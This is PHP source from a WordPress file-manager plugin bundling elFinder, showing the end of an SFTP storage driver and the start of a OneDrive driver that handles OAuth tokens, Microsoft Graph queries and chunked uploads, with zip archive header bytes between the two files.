            $value['name'] = $key;
            return $value;
        }, array_keys($raw), $raw);
        return $raw;
*/
    }

    /*********************************************************************/
    /*                               FS API                              */
    /*********************************************************************/

    /**
     * Close opened connection
     *
     * @return void
     * @author Dmitry (dio) Levashov
     **/
    public function umount()
    {
        $this->connect && $this->connect->disconnect();
    }


    /**
     * Parse line from rawlist() output and return file stat (array)
     *
     * @param  string $raw line from rawlist() output
     * @param         $base
     * @param bool    $nameOnly
     *
     * @return array
     * @author Dmitry Levashov
     */
    protected function parseRaw($raw, $base, $nameOnly = false)
    {
        $info = $raw;
        $stat = array();

        if ($info['filename'] == '.' || $info['filename'] == '..') {
            return false;
        }

        $name = $info['filename'];

        if (preg_match('|(.+)\-\>(.+)|', $name, $m)) {
            $name = trim($m[1]);
            // check recursive processing
            if ($this->cacheDirTarget && $this->_joinPath($base, $name) !== $this->cacheDirTarget) {
                return array();
            }
            if (!$nameOnly) {
                $target = trim($m[2]);
                if (substr($target, 0, 1) !== $this->separator) {
                    $target = $this->getFullPath($target, $base);
                }
                $target = $this->_normpath($target);
                $stat['name'] = $name;
                $stat['target'] = $target;
                return $stat;
            }
        }

        if ($nameOnly) {
            return array('name' => $name);
        }

        $stat['ts'] = $info['mtime'];

        if ($this->options['statOwner']) {
            $stat['owner'] = $info['uid'];
            $stat['group'] = $info['gid'];
            $stat['perm'] = $info['permissions'];
            $stat['isowner'] = isset($stat['owner']) ? ($this->options['owner'] ? true : ($stat['owner'] == $this->options['user'])) : true;
        }

        $owner_computed = isset($stat['isowner']) ? $stat['isowner'] : $this->options['owner'];
        $perm = $this->parsePermissions($info['permissions'], $owner_computed);
        $stat['name'] = $name;
        $stat['mime'] = $info['type'] == NET_SFTP_TYPE_DIRECTORY ? 'directory' : $this->mimetype($stat['name'], true);
        $stat['size'] = $stat['mime'] == 'directory' ? 0 : $info['size'];
        $stat['read'] = $perm['read'];
        $stat['write'] = $perm['write'];

        return $stat;
    }

    /**
     * Parse permissions string. Return array(read => true/false, write => true/false)
     *
     * @param  int $perm
     *                                             The isowner parameter is computed by the caller.
     *                                             If the owner parameter in the options is true, the user is the actual owner of all objects even if the user used in the ftp Login
     *                                             is different from the file owner id.
     *                                             If the owner parameter is false to understand if the user is the file owner we compare the ftp user with the file owner id.
     * @param Boolean $isowner                     . Tell if the current user is the owner of the object.
     *
     * @return array
     * @author Dmitry (dio) Levashov
     * @author sitecode
     */
    protected function parsePermissions($permissions, $isowner = true)
    {
        $permissions = decoct($permissions);
        $perm = $isowner ? decbin($permissions[-3]) : decbin($permissions[-1]);

        return array(
            'read' => $perm[-3],
            'write' => $perm[-2]
        );
    }

    /**
     * Cache dir contents
     *
     * @param  string $path dir path
     *
     * @return void
     * @author Dmitry Levashov, sitecode
     **/
    protected function cacheDir($path)
    {
        $this->dirsCache[$path] = array();
        $hasDir = false;

        $list = array();
        $encPath = $this->convEncIn($path);
        foreach ($this->ftpRawList($encPath) as $raw) {
            if (($stat = $this->parseRaw($raw, $encPath))) {
                $list[] = $stat;
            }
        }
        $list = $this->convEncOut($list);
        $prefix = ($path === $this->separator) ? $this->separator : $path . $this->separator;
        $targets = array();
        foreach ($list as $stat) {
            $p = $prefix . $stat['name'];
            if (isset($stat['target'])) {
                // stat later
                $targets[$stat['name']] = $stat['target'];
            } else {
                $stat = $this->updateCache($p, $stat);
                if (empty($stat['hidden'])) {
                    if (!$hasDir && $stat['mime'] === 'directory') {
                        $hasDir = true;
                    }
                    $this->dirsCache[$path][] = $p;
                }
            }
        }
        // stat link targets
        foreach ($targets as $name => $target) {
            $stat = array();
            $stat['name'] = $name;
            $p = $prefix . $name;
            $cacheDirTarget = $this->cacheDirTarget;
            $this->cacheDirTarget = $this->convEncIn($target, true);
            if ($tstat = $this->stat($target)) {
                $stat['size'] = $tstat['size'];
                $stat['alias'] = $target;
                $stat['thash'] = $tstat['hash'];
                $stat['mime'] = $tstat['mime'];
                $stat['read'] = $tstat['read'];
                $stat['write'] = $tstat['write'];

                if (isset($tstat['ts'])) {
                    $stat['ts'] = $tstat['ts'];
                }
                if (isset($tstat['owner'])) {
                    $stat['owner'] = $tstat['owner'];
                }
                if (isset($tstat['group'])) {
                    $stat['group'] = $tstat['group'];
                }
                if (isset($tstat['perm'])) {
                    $stat['perm'] = $tstat['perm'];
                }
                if (isset($tstat['isowner'])) {
                    $stat['isowner'] = $tstat['isowner'];
                }
            } else {

                $stat['mime'] = 'symlink-broken';
                $stat['read'] = false;
                $stat['write'] = false;
                $stat['size'] = 0;

            }
            $this->cacheDirTarget = $cacheDirTarget;
            $stat = $this->updateCache($p, $stat);
            if (empty($stat['hidden'])) {
                if (!$hasDir && $stat['mime'] === 'directory') {
                    $hasDir = true;
                }
                $this->dirsCache[$path][] = $p;
            }
        }

        if (isset($this->sessionCache['subdirs'])) {
            $this->sessionCache['subdirs'][$path] = $hasDir;
        }
    }


    /***************** file stat ********************/

    /**
     * Return stat for given path.
     * Stat contains following fields:
     * - (int)    size    file size in b. required
     * - (int)    ts      file modification time in unix time. required
     * - (string) mime    mimetype. required for folders, others - optionally
     * - (bool)   read    read permissions. required
     * - (bool)   write   write permissions. required
     * - (bool)   locked  is object locked. optionally
     * - (bool)   hidden  is object hidden. optionally
     * - (string) alias   for symlinks - link target path relative to root path. optionally
     * - (string) target  for symlinks - link target path. optionally
     * If file does not exists - returns empty array or false.
     *
     * @param  string $path file path
     *
     * @return array|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _stat($path)
    {
        $outPath = $this->convEncOut($path);
        if (isset($this->cache[$outPath])) {
            return $this->convEncIn($this->cache[$outPath]);
        } else {
            $this->convEncIn();
        }
        if ($path === $this->root) {
            $res = array(
                'name' => $this->root,
                'mime' => 'directory',
                'dirs' => -1
            );
            if ($this->needOnline && (($this->ARGS['cmd'] === 'open' && $this->ARGS['target'] === $this->encode($this->root)) || $this->isMyReload())) {
                $check = array(
                    'ts' => true,
                    'dirs' => true,
                );
                $ts = 0;
                foreach ($this->ftpRawList($path) as $str) {
                    $info = preg_split('/\s+/', $str, 9);
                    if ($info[8] === '.') {
                        $info[8] = 'root';
                        if ($stat = $this->parseRaw(join(' ', $info), $path)) {
                            unset($stat['name']);
                            $res = array_merge($res, $stat);
                            if ($res['ts']) {
                                $ts = 0;
                                unset($check['ts']);
                            }
                        }
                    }
                    if ($check && ($stat = $this->parseRaw($str, $path))) {
                        if (isset($stat['ts']) && !empty($stat['ts'])) {
                            $ts = max($ts, $stat['ts']);
                        }
                        if (isset($stat['dirs']) && $stat['mime'] === 'directory') {
                            $res['dirs'] = 1;
                            unset($stat['dirs']);
                        }
                        if (!$check) {
                            break;
                        }
                    }
                }
                if ($ts) {
                    $res['ts'] = $ts;
                }
                $this->cache[$outPath] = $res;
            }
            return $res;
        }

        $pPath = $this->_dirname($path);
        if ($this->_inPath($pPath, $this->root)) {
            $outPPpath = $this->convEncOut($pPath);
            if (!isset($this->dirsCache[$outPPpath])) {
                $parentSubdirs = null;
                if (isset($this->sessionCache['subdirs']) && isset($this->sessionCache['subdirs'][$outPPpath])) {
                    $parentSubdirs = $this->sessionCache['subdirs'][$outPPpath];
                }
                $this->cacheDir($outPPpath);
                if ($parentSubdirs) {
                    $this->sessionCache['subdirs'][$outPPpath] = $parentSubdirs;
                }
            }
        }

        $stat = $this->convEncIn(isset($this->cache[$outPath]) ? $this->cache[$outPath] : array());
        if (!$this->mounted) {
            // dispose incomplete cache made by calling `stat` by 'startPath' option
            $this->cache = array();
        }

        return $stat;
    }

    /**
     * Return true if path is dir and has at least one childs directory
     *
     * @param  string $path dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov, sitecode
     **/
    protected function _subdirs($path)
    {
        foreach ($this->ftpRawList($path) as $info) {
            $name = $info['filename'];
            if ($name && $name !== '.' && $name !== '..' && $info['type'] == NET_SFTP_TYPE_DIRECTORY) {
                return true;
            }
        }

        return false;
    }


    /******************** file/dir content *********************/

    /**
     * Open file and return file pointer
     *
     * @param  string $path file path
     * @param string  $mode
     *
     * @return false|resource
     * @throws elFinderAbortException
     * @internal param bool $write open file for writing
     * @author   Dmitry (dio) Levashov
     */
    protected function _fopen($path, $mode = 'rb')
    {
        if ($this->tmp) {
            $local = $this->getTempFile($path);
            $this->connect->get($path, $local);
            return @fopen($local, $mode);
        }

        return false;
    }

    /**
     * Close opened file
     *
     * @param  resource $fp file pointer
     * @param string    $path
     *
     * @return void
     * @author Dmitry (dio) Levashov
     */
    protected function _fclose($fp, $path = '')
    {
        is_resource($fp) && fclose($fp);
        if ($path) {
            unlink($this->getTempFile($path));
        }
    }


    /********************  file/dir manipulations *************************/

    /**
     * Create dir and return created dir path or false on failed
     *
     * @param  string $path parent dir path
     * @param string  $name new directory name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _mkdir($path, $name)
    {
        $path = $this->_joinPath($path, $this->_basename($name));
        if ($this->connect->mkdir($path) === false) {
            return false;
        }

        $this->options['dirMode'] && $this->connect->chmod($this->options['dirMode'], $path);
        return $path;
    }

    /**
     * Create file and return it's path or false on failed
     *
     * @param  string $path parent dir path
     * @param string  $name new file name
     *
     * @return string|bool
     * @author sitecode
     **/
    protected function _mkfile($path, $name)
    {
        $path = $this->_joinPath($path, $this->_basename($name));
        return $this->connect->put($path, '') ? $path : false;
/*
        if ($this->tmp) {
            $path = $this->_joinPath($path, $name);
            $local = $this->getTempFile();
            $res = touch($local) && $this->connect->put($path, $local, NET_SFTP_LOCAL_FILE);
            unlink($local);
            return $res ? $path : false;
        }

        return false;
 */
    }

    /**
     * Copy file into another file
     *
     * @param  string $source    source file path
     * @param  string $targetDir target directory path
     * @param  string $name      new file name
     *
     * @return bool
     * @author Dmitry (dio) Levashov, sitecode
     **/
    protected function _copy($source, $targetDir, $name)
    {
        $res = false;

        $target = $this->_joinPath($targetDir, $this->_basename($name));
        if ($this->tmp) {
            $local = $this->getTempFile();

            if ($this->connect->get($source, $local)
                && $this->connect->put($target, $local, NET_SFTP_LOCAL_FILE)) {
                $res = true;
            }
            unlink($local);
        } else {
            //not memory efficient
            $res = $this->_filePutContents($target, $this->_getContents($source));
        }

        return $res;
    }

    /**
     * Move file into another parent dir.
     * Return new file path or false.
     *
     * @param  string $source source file path
     * @param         $targetDir
     * @param  string $name   file name
     *
     * @return bool|string
     * @internal param string $target target dir path
     * @author   Dmitry (dio) Levashov
     */
    protected function _move($source, $targetDir, $name)
    {
        $target = $this->_joinPath($targetDir, $this->_basename($name));
        return $this->connect->rename($source, $target) ? $target : false;
    }

    /**
     * Remove file
     *
     * @param  string $path file path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _unlink($path)
    {
        return $this->connect->delete($path, false);
    }

    /**
     * Remove dir
     *
     * @param  string $path dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _rmdir($path)
    {
        return $this->connect->delete($path);
    }

    /**
     * Create new file and write into it from file pointer.
     * Return new file path or false on error.
     *
     * @param  resource $fp   file pointer
     * @param  string   $dir  target dir path
     * @param  string   $name file name
     * @param  array    $stat file stat (required by some virtual fs)
     *
     * @return bool|string
     * @author Dmitry (dio) Levashov
     **/
    protected function _save($fp, $dir, $name, $stat)
    {
        //TODO optionally encrypt $fp before uploading if mime is not already encrypted type
        $path = $this->_joinPath($dir, $this->_basename($name));
        return $this->connect->put($path, $fp)
            ? $path
            : false;
    }

    /**
     * Get file contents
     *
     * @param  string $path file path
     *
     * @return string|false
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function _getContents($path)
    {
        return $this->connect->get($path);
    }

    /**
     * Write a string to a file
     *
     * @param  string $path    file path
     * @param  string $content new file content
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _filePutContents($path, $content)
    {
        return $this->connect->put($path, $content);
    }

    /**
     * chmod availability
     *
     * @param string $path
     * @param string $mode
     *
     * @return bool
     */
    protected function _chmod($path, $mode)
    {
        $modeOct = is_string($mode) ? octdec($mode) : octdec(sprintf("%04o", $mode));
        return $this->connect->chmod($modeOct, $path);
    }

    /**
     * Extract files from archive
     *
     * @param  string $path archive path
     * @param  array  $arc  archiver command and arguments (same as in $this->archivers)
     *
     * @return true
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     */
    protected function _extract($path, $arc)
    {
        return false; //TODO
    }

    /**
     * Create archive and return its path
     *
     * @param  string $dir   target dir
     * @param  array  $files files names list
     * @param  string $name  archive name
     * @param  array  $arc   archiver options
     *
     * @return string|bool
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     */
    protected function _archive($dir, $files, $name, $arc)
    {
        return false; //TODO
    }

    /**
     * Gets an array of absolute remote SFTP paths of files and
     * folders in $remote_directory omitting symbolic links.
     *
     * @param $remote_directory string remote SFTP path to scan for file and folders recursively
     * @param $targets          array  Array of target item. `null` is to get all of items
     *
     * @return array of elements each of which is an array of two elements:
     * <ul>
     * <li>$item['path'] - absolute remote SFTP path</li>
     * <li>$item['type'] - either 'f' for file or 'd' for directory</li>
     * </ul>
     */
    protected function ftp_scan_dir($remote_directory, $targets = null)
    {
        $buff = $this->ftpRawList($remote_directory);
        $items = array();
        if ($targets && is_array($targets)) {
            $targets = array_flip($targets);
        } else {
            $targets = false;
        }
        foreach ($buff as $info) {
            $name = $info['filename'];
            if ($name !== '.' && $name !== '..' && (!$targets || isset($targets[$name]))) {
                switch ($info['type']) {
                    case NET_SFTP_TYPE_SYMLINK : //omit symbolic links
                    case NET_SFTP_TYPE_DIRECTORY :
                        $remote_file_path = $this->_joinPath($remote_directory, $name);
                        $item = array();
                        $item['path'] = $remote_file_path;
                        $item['type'] = 'd'; // normal file
                        $items[] = $item;
                        $items = array_merge($items, $this->ftp_scan_dir($remote_file_path));
                        break;
                    default:
                        $remote_file_path = $this->_joinPath($remote_directory, $name);
                        $item = array();
                        $item['path'] = $remote_file_path;
                        $item['type'] = 'f'; // normal file
                        $items[] = $item;
                }
            }
        }
        return $items;
    }

} // END class
PK���[#A�DppMwp-content/plugins/fileorganizer/manager/php/elFinderVolumeOneDrive.class.phpnu�[���<?php

/**
 * Simple elFinder driver for OneDrive
 * onedrive api v5.0.
 *
 * @author Dmitry (dio) Levashov
 * @author Cem (discofever)
 **/
class elFinderVolumeOneDrive extends elFinderVolumeDriver
{
    /**
     * Driver id
     * Must be started from letter and contains [a-z0-9]
     * Used as part of volume id.
     *
     * @var string
     **/
    protected $driverId = 'od';

    /**
     * @var string The base URL for API requests
     **/
    const API_URL = 'https://graph.microsoft.com/v1.0/me/drive/items/';

    /**
     * @var string The base URL for authorization requests
     */
    const AUTH_URL = 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize';

    /**
     * @var string The base URL for token requests
     */
    const TOKEN_URL = 'https://login.microsoftonline.com/common/oauth2/v2.0/token';

    /**
     * OneDrive token object.
     *
     * @var object
     **/
    protected $token = null;

    /**
     * Directory for tmp files
     * If not set driver will try to use tmbDir as tmpDir.
     *
     * @var string
     **/
    protected $tmp = '';

    /**
     * Net mount key.
     *
     * @var string
     **/
    public $netMountKey = '';

    /**
     * Thumbnail prefix.
     *
     * @var string
     **/
    protected $tmbPrefix = '';

    /**
     * hasCache by folders.
     *
     * @var array
     **/
    protected $HasdirsCache = array();

    /**
     * Query options of API call.
     *
     * @var array
     */
    protected $queryOptions = array();

    /**
     * Current token expires
     *
     * @var integer
     **/
    private $expires;

    /**
     * Path to access token file for permanent mount
     *
     * @var string
     */
    private $aTokenFile = '';

    /**
     * Constructor
     * Extend options with required fields.
     *
     * @author Dmitry (dio) Levashov
     * @author Cem (DiscoFever)
     **/
    public function __construct()
    {
        $opts = array(
            'client_id' => '',
            'client_secret' => '',
            'accessToken' => '',
            'root' => 'OneDrive.com',
            'OneDriveApiClient' => '',
            'path' => '/',
            'separator' => '/',
            'tmbPath' => '',
            'tmbURL' => '',
            'tmpPath' => '',
            'acceptedName' => '#^[^/\\?*:|"<>]*[^./\\?*:|"<>]$#',
            'rootCssClass' => 'elfinder-navbar-root-onedrive',
            'useApiThumbnail' => true,
        );
        $this->options = array_merge($this->options, $opts);
        $this->options['mimeDetect'] = 'internal';
    }

    /*********************************************************************/
    /*                        ORIGINAL FUNCTIONS                         */
    /*********************************************************************/

    /**
     * Obtains a new access token from OAuth. This token is valid for one hour.
     *
     * @param        $client_id
     * @param        $client_secret
     * @param string $code         The code returned by OneDrive after
     *                             successful log in
     *
     * @return object|string
     * @throws Exception Thrown if the redirect URI of this Client instance's
     *                    state is not set
     */
    protected function _od_obtainAccessToken($client_id, $client_secret, $code, $nodeid)
    {
        if (null === $client_id) {
            return 'The client ID must be set to call obtainAccessToken()';
        }

        if (null === $client_secret) {
            return 'The client Secret must be set to call obtainAccessToken()';
        }

        $redirect = elFinder::getConnectorUrl();
        if (strpos($redirect, '/netmount/onedrive/') === false) {
            $redirect .= '/netmount/onedrive/' . ($nodeid === 'elfinder'? '1' : $nodeid);
        }

        $url = self::TOKEN_URL;

        $curl = curl_init();

        $fields = http_build_query(
            array(
                'client_id' => $client_id,
                'redirect_uri' => $redirect,
                'client_secret' => $client_secret,
                'code' => $code,
                'grant_type' => 'authorization_code',
            )
        );

        curl_setopt_array($curl, array(
            // General options.
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $fields,

            CURLOPT_HTTPHEADER => array(
                'Content-Length: ' . strlen($fields),
            ),

            CURLOPT_URL => $url,
        ));

        $result = elFinder::curlExec($curl);

        $decoded = json_decode($result);

        if (null === $decoded) {
            throw new \Exception('json_decode() failed');
        }

        if (!empty($decoded->error)) {
            $error = $decoded->error;
            if (!empty($decoded->error_description)) {
                $error .= ': ' . $decoded->error_description;
            }
            throw new \Exception($error);
        }

        $res = (object)array(
            'expires' => time() + $decoded->expires_in - 30,
            'initialToken' => '',
            'data' => $decoded
        );
        if (!empty($decoded->refresh_token)) {
            $res->initialToken = md5($client_id . $decoded->refresh_token);
        }
        return $res;
    }

    /**
     * Get token and auto refresh.
     *
     * @return true
     * @throws Exception
     */
    protected function _od_refreshToken()
    {
        if (!property_exists($this->token, 'expires') || $this->token->expires < time()) {
            if (!$this->options['client_id']) {
                $this->options['client_id'] = ELFINDER_ONEDRIVE_CLIENTID;
            }

            if (!$this->options['client_secret']) {
                $this->options['client_secret'] = ELFINDER_ONEDRIVE_CLIENTSECRET;
            }

            if (empty($this->token->data->refresh_token)) {
                throw new \Exception(elFinder::ERROR_REAUTH_REQUIRE);
            } else {
                $refresh_token = $this->token->data->refresh_token;
                $initialToken = $this->_od_getInitialToken();
            }

            $url = self::TOKEN_URL;

            $curl = curl_init();

            curl_setopt_array($curl, array(
                // General options.
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_POST => true, // i am sending post data
                CURLOPT_POSTFIELDS => 'client_id=' . urlencode($this->options['client_id'])
                    . '&client_secret=' . urlencode($this->options['client_secret'])
                    . '&grant_type=refresh_token'
                    . '&refresh_token=' . urlencode($this->token->data->refresh_token),

                CURLOPT_URL => $url,
            ));

            $result = elFinder::curlExec($curl);

            $decoded = json_decode($result);

            if (!$decoded) {
                throw new \Exception('json_decode() failed');
            }

            if (empty($decoded->access_token)) {
                if ($this->aTokenFile) {
                    if (is_file($this->aTokenFile)) {
                        unlink($this->aTokenFile);
                    }
                }
                $err = property_exists($decoded, 'error')? ' ' . $decoded->error : '';
                $err .= property_exists($decoded, 'error_description')? ' ' . $decoded->error_description : '';
                throw new \Exception($err? $err : elFinder::ERROR_REAUTH_REQUIRE);
            }

            $token = (object)array(
                'expires' => time() + $decoded->expires_in - 30,
                'initialToken' => $initialToken,
                'data' => $decoded,
            );

            $this->token = $token;
            $json = json_encode($token);

            if (!empty($decoded->refresh_token)) {
                if (empty($this->options['netkey']) && $this->aTokenFile) {
                    file_put_contents($this->aTokenFile, json_encode($token));
                    $this->options['accessToken'] = $json;
                } else if (!empty($this->options['netkey'])) {
                    // OAuth2 refresh token can be used only once,
                    // so update it if it is the same as the token file
                    $aTokenFile = $this->_od_getATokenFile();
                    if ($aTokenFile && is_file($aTokenFile)) {
                        if ($_token = json_decode(file_get_contents($aTokenFile))) {
                            if ($_token->data->refresh_token === $refresh_token) {
                                file_put_contents($aTokenFile, $json);
                            }
                        }
                    }
                    $this->options['accessToken'] = $json;
                    // update session value
                    elFinder::$instance->updateNetVolumeOption($this->options['netkey'], 'accessToken', $this->options['accessToken']);
                    $this->session->set('OneDriveTokens', $token);
                } else {
                    throw new \Exception(elFinder::ERROR_CREATING_TEMP_DIR);
                }
            }
        }

        return true;
    }

    /**
     * Get Parent ID, Item ID, Parent Path as an array from path.
     *
     * @param string $path
     *
     * @return array
     */
    protected function _od_splitPath($path)
    {
        $path = trim($path, '/');
        $pid = '';
        if ($path === '') {
            $id = 'root';
            $parent = '';
        } else {
            $paths = explode('/', trim($path, '/'));
            $id = array_pop($paths);
            if ($paths) {
                $parent = '/' . implode('/', $paths);
                $pid = array_pop($paths);
            } else {
                $pid = 'root';
                $parent = '/';
            }
        }

        return array($pid, $id, $parent);
    }

    /**
     * Creates a base cURL object which is compatible with the OneDrive API.
     *
     * @return resource A compatible cURL object
     */
    protected function _od_prepareCurl($url = null)
    {
        $curl = curl_init($url);

        $defaultOptions = array(
            // General options.
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER => array(
                'Content-Type: application/json',
                'Authorization: Bearer ' . $this->token->data->access_token,
            ),
        );

        curl_setopt_array($curl, $defaultOptions);

        return $curl;
    }

    /**
     * Creates a base cURL object which is compatible with the OneDrive API.
     *
     * @param string $path The path of the API call (eg. me/skydrive)
     * @param bool   $contents
     *
     * @return resource A compatible cURL object
     * @throws elFinderAbortException
     */
    protected function _od_createCurl($path, $contents = false)
    {
        elFinder::checkAborted();
        $curl = $this->_od_prepareCurl($path);

        if ($contents) {
            $res = elFinder::curlExec($curl);
        } else {
            $result = json_decode(elFinder::curlExec($curl));
            if (isset($result->value)) {
                $res = $result->value;
                unset($result->value);
                $result = (array)$result;
                if (!empty($result['@odata.nextLink'])) {
                    $nextRes = $this->_od_createCurl($result['@odata.nextLink'], false);
                    if (is_array($nextRes)) {
                        $res = array_merge($res, $nextRes);
                    }
                }
            } else {
                $res = $result;
            }
        }

        return $res;
    }

    /**
     * Drive query and fetchAll.
     *
     * @param       $itemId
     * @param bool  $fetch_self
     * @param bool  $recursive
     * @param array $options
     *
     * @return object|array
     * @throws elFinderAbortException
     */
    protected function _od_query($itemId, $fetch_self = false, $recursive = false, $options = array())
    {
        $result = array();

        if (null === $itemId) {
            $itemId = 'root';
        }

        if ($fetch_self == true) {
            $path = $itemId;
        } else {
            $path = $itemId . '/children';
        }

        if (isset($options['query'])) {
            $path .= '?' . http_build_query($options['query']);
        }

        $url = self::API_URL . $path;

        $res = $this->_od_createCurl($url);
        if (!$fetch_self && $recursive && is_array($res)) {
            foreach ($res as $file) {
                $result[] = $file;
                if (!empty($file->folder)) {
                    $result = array_merge($result, $this->_od_query($file->id, false, true, $options));
                }
            }
        } else {
            $result = $res;
        }

        return isset($result->error) ? array() : $result;
    }

    /**
     * Parse line from onedrive metadata output and return file stat (array).
     *
     * @param object $raw line from ftp_rawlist() output
     *
     * @return array
     * @author Dmitry Levashov
     **/
    protected function _od_parseRaw($raw)
    {
        $stat = array();

        $folder = isset($raw->folder) ? $raw->folder : null;

        $stat['rev'] = isset($raw->id) ? $raw->id : 'root';
        $stat['name'] = $raw->name;
        if (isset($raw->lastModifiedDateTime)) {
            $stat['ts'] = strtotime($raw->lastModifiedDateTime);
        }

        if ($folder) {
            $stat['mime'] = 'directory';
            $stat['size'] = 0;
            if (empty($folder->childCount)) {
                $stat['dirs'] = 0;
            } else {
                $stat['dirs'] = -1;
            }
        } else {
            if (isset($raw->file->mimeType)) {
                $stat['mime'] = $raw->file->mimeType;
            }
            $stat['size'] = (int)$raw->size;
            if (!$this->disabledGetUrl) {
                $stat['url'] = '1';
            }
            if (isset($raw->image) && $img = $raw->image) {
                isset($img->width) ? $stat['width'] = $img->width : $stat['width'] = 0;
                isset($img->height) ? $stat['height'] = $img->height : $stat['height'] = 0;
            }
            if (!empty($raw->thumbnails)) {
                if ($raw->thumbnails[0]->small->url) {
                    $stat['tmb'] = substr($raw->thumbnails[0]->small->url, 8); // remove "https://"
                }
            } elseif (!empty($raw->file->processingMetadata)) {
                $stat['tmb'] = '1';
            }
        }

        return $stat;
    }

    /**
     * Get raw data(onedrive metadata) from OneDrive.
     *
     * @param string $path
     *
     * @return array|object onedrive metadata
     */
    protected function _od_getFileRaw($path)
    {
        list(, $itemId) = $this->_od_splitPath($path);
        try {
            $res = $this->_od_query($itemId, true, false, $this->queryOptions);

            return $res;
        } catch (Exception $e) {
            return array();
        }
    }

    /**
     * Get thumbnail from OneDrive.com.
     *
     * @param string $path
     *
     * @return string | boolean
     */
    protected function _od_getThumbnail($path)
    {
        list(, $itemId) = $this->_od_splitPath($path);

        try {
            $url = self::API_URL . $itemId . '/thumbnails/0/medium/content';

            return $this->_od_createCurl($url, $contents = true);
        } catch (Exception $e) {
            return false;
        }
    }

    /**
     * Upload large files with an upload session.
     *
     * @param resource $fp       source file pointer
     * @param number   $size     total size
     * @param string   $name     item name
     * @param string   $itemId   item identifier
     * @param string   $parent   parent
     * @param string   $parentId parent identifier
     *
     * @return string The item path
     */
    protected function _od_uploadSession($fp, $size, $name, $itemId, $parent, $parentId)
    {
        try {
            $send = $this->_od_getChunkData($fp);
            if ($send === false) {
                throw new Exception('Data can not be acquired from the source.');
            }

            // create upload session
            if ($itemId) {
                $url = self::API_URL . $itemId . '/createUploadSession';
            } else {
                $url = self::API_URL . $parentId . ':/' . rawurlencode($name) . ':/createUploadSession';
            }
            $curl = $this->_od_prepareCurl($url);
            curl_setopt_array($curl, array(
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => '{}',
            ));
            $sess = json_decode(elFinder::curlExec($curl));

            if ($sess) {
                if (isset($sess->error)) {
                    throw new Exception($sess->error->message);
                }
                $next = strlen($send);
                $range = '0-' . ($next - 1) . '/' . $size;
            } else {
                throw new Exception('API response can not be obtained.');
            }

            $id = null;
            $retry = 0;
            while ($sess) {
                elFinder::extendTimeLimit();
                $putFp = tmpfile();
                fwrite($putFp, $send);
                rewind($putFp);
                $_size = strlen($send);
                $url = $sess->uploadUrl;
                $curl = curl_init();
                $options = array(
                    CURLOPT_URL => $url,
                    CURLOPT_PUT => true,
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_INFILE => $putFp,
                    CURLOPT_INFILESIZE => $_size,
                    CURLOPT_HTTPHEADER => array(
                        'Content-Length: ' . $_size,
                        'Content-Range: bytes ' . $range,
                    ),
                );
                curl_setopt_array($curl, $options);
                $sess = json_decode(elFinder::curlExec($curl));
                if ($sess) {
                    if (isset($sess->error)) {
                        throw new Exception($sess->error->message);
                    }
                    if (isset($sess->id)) {
                        $id = $sess->id;
                        break;
                    }
                    if (isset($sess->nextExpectedRanges)) {
                        list($_next) = explode('-', $sess->nextExpectedRanges[0]);
                        if ($next == $_next) {
                            $send = $this->_od_getChunkData($fp);
                            if ($send === false) {
                                throw new Exception('Data can not be acquired from the source.');
                            }
                            $next += strlen($send);
                            $range = $_next . '-' . ($next - 1) . '/' . $size;
                            $retry = 0;
                        } else {
                            if (++$retry > 3) {
                                throw new Exception('Retry limit exceeded with uploadSession API call.');
                            }
                        }
                        $sess->uploadUrl = $url;
                    }
                } else {
                    throw new Exception('API response can not be obtained.');
                }
            }

            if ($id) {
                return $this->_joinPath($parent, $id);
            } else {
                throw new Exception('An error occurred in the uploadSession API call.');
            }
        } catch (Exception $e) {
            return $this->setError('OneDrive error: ' . $e->getMessage());
        }
    }

    /**
     * Get chunk data by file pointer to upload session.
     *
     * @param resource $fp source file pointer
     *
     * @return bool|string chunked data
     */
    protected function _od_getChunkData($fp)
    {
        static $chunkSize = null;
        if ($chunkSize === null) {
            $mem = elFinder::getIniBytes('memory_limit');
            if ($mem < 1) {
                $mem = 10485760; // 10 MiB
            } else {
                $mem -= memory_get_usage() - 1061548;
                $mem = min($mem, 10485760);
            }
            if ($mem > 327680) {
                $chunkSize = floor($mem / 327680) * 327680;
            } else {
                $chunkSize = $mem;
            }
        }
        if ($chunkSize < 8192) {
            return false;
        }

        $contents = '';
        while (!feof($fp) && strlen($contents) < $chunkSize) {
            $contents .= fread($fp, 8192);
        }

        return $contents;
    }

    /**
     * Get AccessToken file path
     *
     * @return string  ( description_of_the_return_value )
     */
    protected function _od_getATokenFile()
    {
        $tmp = $aTokenFile = '';
        if (!empty($this->token->data->refresh_token)) {
            if (!$this->tmp) {
                $tmp = elFinder::getStaticVar('commonTempPath');
                if (!$tmp) {
                    $tmp = $this->getTempPath();
                }
                $this->tmp = $tmp;
            }
            if ($tmp) {
                $aTokenFile = $tmp . DIRECTORY_SEPARATOR . $this->_od_getInitialToken() . '.otoken';
            }
        }
        return $aTokenFile;
    }

    /**
     * Get Initial Token (MD5 hash)
     *
     * @return string
     */
    protected function _od_getInitialToken()
    {
        return (empty($this->token->initialToken)? md5($this->options['client_id'] . (!empty($this->token->data->refresh_token)? $this->token->data->refresh_token : $this->token->data->access_token)) : $this->token->initialToken);
    }

    /*********************************************************************/
    /*                        OVERRIDE FUNCTIONS                         */
    /*********************************************************************/

    /**
     * Prepare
     * Call from elFinder::netmout() before volume->mount().
     *
     * @return array
     * @author Naoki Sawada
     * @author Raja Sharma updating for OneDrive
     **/
    public function netmountPrepare($options)
    {
        if (empty($options['client_id']) && defined('ELFINDER_ONEDRIVE_CLIENTID')) {
